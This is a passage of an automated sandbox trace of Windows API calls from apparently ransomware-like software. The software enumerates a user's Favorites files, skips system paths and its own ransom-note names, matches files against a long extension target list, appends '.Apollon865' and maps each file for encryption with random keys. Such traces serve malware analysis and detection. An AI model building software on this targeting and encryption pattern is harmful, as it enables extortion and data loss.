	[0088.739] lstrlenW (lpString="sas7bdat") returned 8
	[0088.739] lstrcmpiW (lpString1="site.url", lpString2="sas7bdat") returned 1
	[0088.739] lstrlenW (lpString="sbf") returned 3
	[0088.739] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0088.739] lstrlenW (lpString="scx") returned 3
	[0088.739] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0088.739] lstrlenW (lpString="sdb") returned 3
	[0088.739] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0088.739] lstrlenW (lpString="sdc") returned 3
	[0088.739] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0088.739] lstrlenW (lpString="sdf") returned 3
	[0088.739] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0088.739] lstrlenW (lpString="sis") returned 3
	[0088.739] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0088.739] lstrlenW (lpString="spq") returned 3
	[0088.739] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0088.739] lstrlenW (lpString="te") returned 2
	[0088.739] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0088.739] lstrlenW (lpString="teacher") returned 7
	[0088.739] lstrcmpiW (lpString1="ite.url", lpString2="teacher") returned -1
	[0088.740] lstrlenW (lpString="tmd") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0088.740] lstrlenW (lpString="tps") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0088.740] lstrlenW (lpString="trc") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0088.740] lstrlenW (lpString="trc") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0088.740] lstrlenW (lpString="trm") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0088.740] lstrlenW (lpString="udb") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0088.740] lstrlenW (lpString="udl") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0088.740] lstrlenW (lpString="usr") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0088.740] lstrlenW (lpString="v12") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0088.740] lstrlenW (lpString="vis") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0088.740] lstrlenW (lpString="vpd") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0088.740] lstrlenW (lpString="vvv") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0088.740] lstrlenW (lpString="wdb") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0088.740] lstrlenW (lpString="wmdb") returned 4
	[0088.740] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0088.740] lstrlenW (lpString="wrk") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0088.740] lstrlenW (lpString="xdb") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0088.740] lstrlenW (lpString="xld") returned 3
	[0088.740] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0088.740] lstrlenW (lpString="xmlff") returned 5
	[0088.740] lstrcmpiW (lpString1="e.url", lpString2="xmlff") returned -1
	[0088.740] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.Apollon865") returned 88
	[0088.741] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.apollon865"), dwFlags=0x1) returned 1
	[0088.742] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.742] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0088.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.743] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.743] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.743] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.744] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x15c
	[0088.746] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0088.746] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.747] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.747] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.747] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.747] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.748] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.748] CloseHandle (hObject=0x15c) returned 1
	[0088.748] CloseHandle (hObject=0x9c) returned 1
	[0088.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.748] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1
	[0088.748] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.748] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.748] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".") returned 1
	[0088.748] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="..") returned 1
	[0088.748] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="windows") returned -1
	[0088.748] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="bootmgr") returned 1
	[0088.748] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="temp") returned -1
	[0088.748] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="pagefile.sys") returned -1
	[0088.749] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="boot") returned 1
	[0088.749] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="ids.txt") returned 1
	[0088.749] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="ntuser.dat") returned -1
	[0088.749] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="perflogs") returned -1
	[0088.749] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="MSBuild") returned -1
	[0088.749] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28
	[0088.749] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned 77
	[0088.749] lstrcpyW (in: lpString1=0x119e67e, lpString2="IE site on Microsoft.com.url" | out: lpString1="IE site on Microsoft.com.url") returned="IE site on Microsoft.com.url"
	[0088.749] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28
	[0088.749] lstrlenW (lpString="Apollon865") returned 10
	[0088.749] lstrcmpiW (lpString1="ft.com.url", lpString2="Apollon865") returned 1
	[0088.749] lstrlenW (lpString=".dll") returned 4
	[0088.749] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".dll") returned 1
	[0088.749] lstrlenW (lpString=".lnk") returned 4
	[0088.749] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".lnk") returned 1
	[0088.749] lstrlenW (lpString=".ini") returned 4
	[0088.749] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".ini") returned 1
	[0088.749] lstrlenW (lpString=".sys") returned 4
	[0088.749] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".sys") returned 1
	[0088.749] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28
	[0088.749] lstrlenW (lpString="bak") returned 3
	[0088.749] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0088.749] lstrlenW (lpString="ba_") returned 3
	[0088.749] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0088.749] lstrlenW (lpString="dbb") returned 3
	[0088.749] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0088.749] lstrlenW (lpString="vmdk") returned 4
	[0088.749] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0088.749] lstrlenW (lpString="rar") returned 3
	[0088.749] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0088.749] lstrlenW (lpString="zip") returned 3
	[0088.749] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0088.749] lstrlenW (lpString="tgz") returned 3
	[0088.749] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0088.749] lstrlenW (lpString="vbox") returned 4
	[0088.749] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0088.749] lstrlenW (lpString="vdi") returned 3
	[0088.750] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0088.750] lstrlenW (lpString="vhd") returned 3
	[0088.750] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0088.750] lstrlenW (lpString="vhdx") returned 4
	[0088.750] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0088.750] lstrlenW (lpString="avhd") returned 4
	[0088.750] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0088.750] lstrlenW (lpString="db") returned 2
	[0088.750] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0088.750] lstrlenW (lpString="db2") returned 3
	[0088.750] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0088.750] lstrlenW (lpString="db3") returned 3
	[0088.750] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0088.750] lstrlenW (lpString="dbf") returned 3
	[0088.750] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0088.750] lstrlenW (lpString="mdf") returned 3
	[0088.750] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0088.750] lstrlenW (lpString="mdb") returned 3
	[0088.750] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0088.750] lstrlenW (lpString="sql") returned 3
	[0088.750] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0088.750] lstrlenW (lpString="sqlite") returned 6
	[0088.750] lstrcmpiW (lpString1="om.url", lpString2="sqlite") returned -1
	[0088.750] lstrlenW (lpString="sqlite3") returned 7
	[0088.750] lstrcmpiW (lpString1="com.url", lpString2="sqlite3") returned -1
	[0088.750] lstrlenW (lpString="sqlitedb") returned 8
	[0088.750] lstrcmpiW (lpString1=".com.url", lpString2="sqlitedb") returned -1
	[0088.750] lstrlenW (lpString="xml") returned 3
	[0088.750] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0088.750] lstrlenW (lpString="$er") returned 3
	[0088.750] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0088.750] lstrlenW (lpString="4dd") returned 3
	[0088.750] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0088.750] lstrlenW (lpString="4dl") returned 3
	[0088.750] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0088.750] lstrlenW (lpString="^^^") returned 3
	[0088.750] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0088.750] lstrlenW (lpString="abs") returned 3
	[0088.751] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0088.751] lstrlenW (lpString="abx") returned 3
	[0088.751] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0088.751] lstrlenW (lpString="accdb") returned 5
	[0088.751] lstrcmpiW (lpString1="m.url", lpString2="accdb") returned 1
	[0088.751] lstrlenW (lpString="accdc") returned 5
	[0088.751] lstrcmpiW (lpString1="m.url", lpString2="accdc") returned 1
	[0088.751] lstrlenW (lpString="accde") returned 5
	[0088.751] lstrcmpiW (lpString1="m.url", lpString2="accde") returned 1
	[0088.751] lstrlenW (lpString="accdr") returned 5
	[0088.751] lstrcmpiW (lpString1="m.url", lpString2="accdr") returned 1
	[0088.751] lstrlenW (lpString="accdt") returned 5
	[0088.751] lstrcmpiW (lpString1="m.url", lpString2="accdt") returned 1
	[0088.751] lstrlenW (lpString="accdw") returned 5
	[0088.751] lstrcmpiW (lpString1="m.url", lpString2="accdw") returned 1
	[0088.751] lstrlenW (lpString="accft") returned 5
	[0088.751] lstrcmpiW (lpString1="m.url", lpString2="accft") returned 1
	[0088.751] lstrlenW (lpString="adb") returned 3
	[0088.751] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.751] lstrlenW (lpString="adb") returned 3
	[0088.751] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.751] lstrlenW (lpString="ade") returned 3
	[0088.751] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0088.751] lstrlenW (lpString="adf") returned 3
	[0088.751] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0088.751] lstrlenW (lpString="adn") returned 3
	[0088.751] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0088.751] lstrlenW (lpString="adp") returned 3
	[0088.751] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0088.751] lstrlenW (lpString="alf") returned 3
	[0088.751] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0088.751] lstrlenW (lpString="ask") returned 3
	[0088.751] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0088.751] lstrlenW (lpString="btr") returned 3
	[0088.751] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0088.751] lstrlenW (lpString="cat") returned 3
	[0088.751] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0088.752] lstrlenW (lpString="cdb") returned 3
	[0088.752] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0088.752] lstrlenW (lpString="ckp") returned 3
	[0088.752] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0088.752] lstrlenW (lpString="cma") returned 3
	[0088.752] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0088.752] lstrlenW (lpString="cpd") returned 3
	[0088.752] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0088.752] lstrlenW (lpString="dacpac") returned 6
	[0088.752] lstrcmpiW (lpString1="om.url", lpString2="dacpac") returned 1
	[0088.752] lstrlenW (lpString="dad") returned 3
	[0088.752] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0088.752] lstrlenW (lpString="dadiagrams") returned 10
	[0088.752] lstrcmpiW (lpString1="ft.com.url", lpString2="dadiagrams") returned 1
	[0088.752] lstrlenW (lpString="daschema") returned 8
	[0088.752] lstrcmpiW (lpString1=".com.url", lpString2="daschema") returned -1
	[0088.752] lstrlenW (lpString="db-journal") returned 10
	[0088.752] lstrcmpiW (lpString1="ft.com.url", lpString2="db-journal") returned 1
	[0088.752] lstrlenW (lpString="db-shm") returned 6
	[0088.752] lstrcmpiW (lpString1="om.url", lpString2="db-shm") returned 1
	[0088.752] lstrlenW (lpString="db-wal") returned 6
	[0088.752] lstrcmpiW (lpString1="om.url", lpString2="db-wal") returned 1
	[0088.752] lstrlenW (lpString="dbc") returned 3
	[0088.752] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0088.752] lstrlenW (lpString="dbs") returned 3
	[0088.752] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0088.752] lstrlenW (lpString="dbt") returned 3
	[0088.752] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0088.752] lstrlenW (lpString="dbv") returned 3
	[0088.752] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0088.752] lstrlenW (lpString="dbx") returned 3
	[0088.752] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0088.752] lstrlenW (lpString="dcb") returned 3
	[0088.752] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0088.753] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.Apollon865") returned 98
	[0088.753] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.apollon865"), dwFlags=0x1) returned 1
	[0088.754] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.754] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0088.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.755] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.756] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.756] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.756] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x15c
	[0088.759] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0088.760] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.760] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.760] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.760] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.761] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.761] CloseHandle (hObject=0x15c) returned 1
	[0088.761] CloseHandle (hObject=0x9c) returned 1
	[0088.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.762] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".") returned 1
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="..") returned 1
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="windows") returned -1
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="bootmgr") returned 1
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="temp") returned -1
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="pagefile.sys") returned -1
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="boot") returned 1
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="ids.txt") returned 1
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="ntuser.dat") returned -1
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="perflogs") returned -1
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="MSBuild") returned -1
	[0088.762] lstrlenW (lpString="Microsoft At Home.url") returned 21
	[0088.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned 87
	[0088.762] lstrcpyW (in: lpString1=0x119e67e, lpString2="Microsoft At Home.url" | out: lpString1="Microsoft At Home.url") returned="Microsoft At Home.url"
	[0088.762] lstrlenW (lpString="Microsoft At Home.url") returned 21
	[0088.762] lstrlenW (lpString="Apollon865") returned 10
	[0088.762] lstrcmpiW (lpString1="t Home.url", lpString2="Apollon865") returned 1
	[0088.762] lstrlenW (lpString=".dll") returned 4
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".dll") returned 1
	[0088.762] lstrlenW (lpString=".lnk") returned 4
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".lnk") returned 1
	[0088.762] lstrlenW (lpString=".ini") returned 4
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".ini") returned 1
	[0088.762] lstrlenW (lpString=".sys") returned 4
	[0088.762] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".sys") returned 1
	[0088.762] lstrlenW (lpString="Microsoft At Home.url") returned 21
	[0088.763] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.Apollon865") returned 91
	[0088.763] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.apollon865"), dwFlags=0x1) returned 1
	[0088.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.764] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0088.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.765] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.766] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.766] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
